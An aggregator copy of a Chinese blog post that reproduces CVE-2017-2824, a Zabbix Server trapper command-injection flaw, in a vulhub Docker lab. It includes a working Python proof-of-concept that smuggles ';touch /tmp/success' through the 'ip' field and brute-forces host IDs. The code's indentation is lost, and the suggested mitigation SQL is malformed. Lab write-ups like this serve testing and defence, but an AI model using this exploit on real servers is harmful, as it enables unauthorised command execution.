9

Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)

 2 years ago
source link: https://blog.51cto.com/Jach1n/5373243
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)

原创

Zabbix Server是拉脱维亚Zabbix SIA公司的一套应用于服务器端的开源的监控系统。该系统可监视各种网络参数,并提供通知机制让系统管理员快速定位、解决存在的各种问题。Zabbix Server 2.4.X版本中的trapper command功能存在远程代码执行漏洞。恶意人员可远程利用该漏洞注入命令,执行代码。

  • Zabbix 2.4.7 - 2.4.8r1
  • 删除Zabbix数据库中的默认脚本条目,数据库操作 SQL为: use zabbix; delete * from scripts;
  • 及时安装官方补丁升级

使用vulhub中的漏洞环境进行测试

cd ./vulhub/zabbix/CVE-2017-2824
docker-compose up -d
docker ps

使用poc进行验证

验证前需要登录到zabbix开启自动注册功能,直接使用poc的话无法验证

访问zabbix登录界面,使用默认账号密码进行登录admin/zabbix

在Configuration-Actions下选择Auto registration,然后Create action

Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)_cve-2017-2824

然后设置一个名称,然后选择Operations

Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)_cve-2017-2824_02

选择Add-Add host,选择完成后,点击下方的Add添加后,再点击蓝色的Add,即可创建成功

Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)_cve-2017-2824_03
Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)_cve-2017-2824_04

在该漏洞目录下,提供了该漏洞的利用方法README.md和利用脚本exploit.py

Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)_zabbix远程代码执行漏洞_05

poc如下:

import sys
import socket
import json
import sys


def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)

在poc中的10051为docker中zabbix-server的映射端口

通过docke ps查看映射端口,需根据实际情况更改

目标的ip无需在poc中设置

Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)_Zabbix Server Trappe_06

使用poc进行验证,后面的ip地址为目标ip地址

可能会失败很多次,最后也是通过反复重启镜像后才验证成功的

python3 exploit.py 192.168.74.128
Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)_zabbix远程代码执行漏洞_07

成功后进入docker的zabbix-server镜像内部

在tmp下找到了创建的success文件

docker exec -it [CONTAINER ID] /bin/bash
Zabbix Server Trapper远程代码执行漏洞(CVE-2017-2824)_zabbix远程代码执行漏洞_08

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK